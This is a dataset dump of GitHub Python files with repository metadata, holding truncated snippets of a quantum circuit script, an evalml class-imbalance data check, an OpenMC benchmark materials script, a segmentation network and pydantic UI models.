] | permissive | UCLA-SEAL/QDiff | ad53650034897abb5941e74539e3aee8edb600ab | d968cbc47fe926b7f88b4adf10490f1edd6f8819 | refs/heads/main | 2023-08-05T04:52:24.961998 | 2021-09-19T02:56:16 | 2021-09-19T02:56:16 | 405,159,939 | 2 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,967 | py | # qubit number=5
# total number=41
import cirq
import qiskit
from qiskit import QuantumCircuit, QuantumRegister, ClassicalRegister
from qiskit import BasicAer, execute, transpile
from pprint import pprint
from qiskit.test.mock import FakeVigo
from math import log2,floor, sqrt, pi
import numpy as np
import networkx as ... | [
"wangjiyuan123@yeah.net"
] | wangjiyuan123@yeah.net |
9ac8fbd2093b050ddc4cfc599c8ec66a84de265d | 35fdd5b42b47a1dbe6a25f6fc1865f4e48b842a5 | /evalml/data_checks/class_imbalance_data_check.py | 9eedc3f25b4b5d9b027a72bcabf93ac8fc2b90fa | [
"BSD-3-Clause"
] | permissive | skvorekn/evalml | 41e5426f9f7d5ad625c21b74336009894c79c7de | 2cbfa344ec3fdc0fb0f4a0f1093811135b9b97d8 | refs/heads/main | 2023-03-27T01:42:07.691406 | 2021-03-19T18:53:43 | 2021-03-19T18:53:43 | 349,555,689 | 0 | 0 | BSD-3-Clause | 2021-03-21T14:57:01 | 2021-03-19T21:08:12 | null | UTF-8 | Python | false | false | 7,631 | py |
from evalml.data_checks import (
DataCheck,
DataCheckError,
DataCheckMessageCode,
DataCheckWarning
)
from evalml.utils import _convert_woodwork_types_wrapper, infer_feature_types
class ClassImbalanceDataCheck(DataCheck):
"""Checks if any target labels are imbalanced beyond a threshold. Use for cl... | [
"noreply@github.com"
] | skvorekn.noreply@github.com |
5bcd1a408337e34fde01241f6fa33a12fd231a0c | da497ddf926b8791f3812c79543120215822216b | /icsbep/pu-sol-therm-007/openmc/case-6/generate_materials.py | 9bf69b784be27e86c3ab8ef8378f2f525260bcdb | [] | no_license | mit-crpg/benchmarks | 55f38e569699554d07df254103e2f828dc5b4ff8 | 58e15679ec684b9e2f552df58099e3648b5708cc | refs/heads/master | 2022-05-17T12:27:45.590757 | 2022-05-09T15:07:00 | 2022-05-09T15:07:00 | 2,704,358 | 23 | 30 | null | 2019-11-11T16:35:27 | 2011-11-03T19:04:29 | Python | UTF-8 | Python | false | false | 926 | py | import openmc
mats = openmc.Materials()
mat = openmc.Material(1)
mat.name = "Plutonium nitrate solution"
mat.set_density('sum')
mat.add_nuclide('Pu238', 1.5406e-08)
mat.add_nuclide('Pu239', 2.4294e-04)
mat.add_nuclide('Pu240', 1.1886e-05)
mat.add_nuclide('Pu241', 7.7338e-07)
mat.add_nuclide('Pu242', 2.2727e-08)
mat.a... | [
"paul.k.romano@gmail.com"
] | paul.k.romano@gmail.com |
f7bdc9446ef34ddd93a77d2b6caff30f2bd83d5c | 26536ad8f07242ea5411a02117adc80462cc1173 | /ssseg/modules/models/nonlocalnet/nonlocalnet.py | 6c52ff731e0d8a7bb1f2e4ed9300222c35906f67 | [
"MIT"
] | permissive | yawudede/sssegmentation | 451b34c7e383b61d74b483c3048c0ed760821956 | b7fb5bd955a59cda0cfa20ac0c51aea67bfe0e30 | refs/heads/main | 2023-01-30T20:28:10.976883 | 2020-12-16T08:45:49 | 2020-12-16T08:45:49 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 4,243 | py | '''
Function:
Implementation of NonLocalNet
Author:
Zhenchao Jin
'''
import copy
import torch
import torch.nn as nn
import torch.nn.functional as F
from ...backbones import *
from ..base import BaseModel
from .nonlocalblock import NonLocal2d
'''NonLocalNet'''
class NonLocalNet(BaseModel):
def __init__(sel... | [
"1159254961@qq.com"
] | 1159254961@qq.com |
94a022a9f21e7f396b42b3a6c186a2c6f0e4cf76 | 4015291afebfd346da3fee4b1d5a775882b5b461 | /packages/models-library/src/models_library/services_ui.py | 2933c09a2120995bb48d1c780f35c5ca452fbded | [
"MIT"
] | permissive | pcrespov/osparc-simcore | 3a8a6b5252038542f515c7e90d983ac6f1fb4de7 | eb5e00bc2cf4acfe81f5dc422a5e50a4646c9596 | refs/heads/master | 2023-08-06T04:33:38.594066 | 2023-07-12T09:47:00 | 2023-07-12T09:47:00 | 130,357,545 | 0 | 1 | MIT | 2023-04-18T08:04:27 | 2018-04-20T12:10:41 | Python | UTF-8 | Python | false | false | 895 | py | from enum import Enum
from typing import Union
from pydantic import BaseModel, Extra, Field
from pydantic.types import PositiveInt
class WidgetType(str, Enum):
TextArea = "TextArea"
SelectBox = "SelectBox"
class TextArea(BaseModel):
min_height: PositiveInt = Field(
..., alias="minHeight", descr... | [
"noreply@github.com"
] | pcrespov.noreply@github.com |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.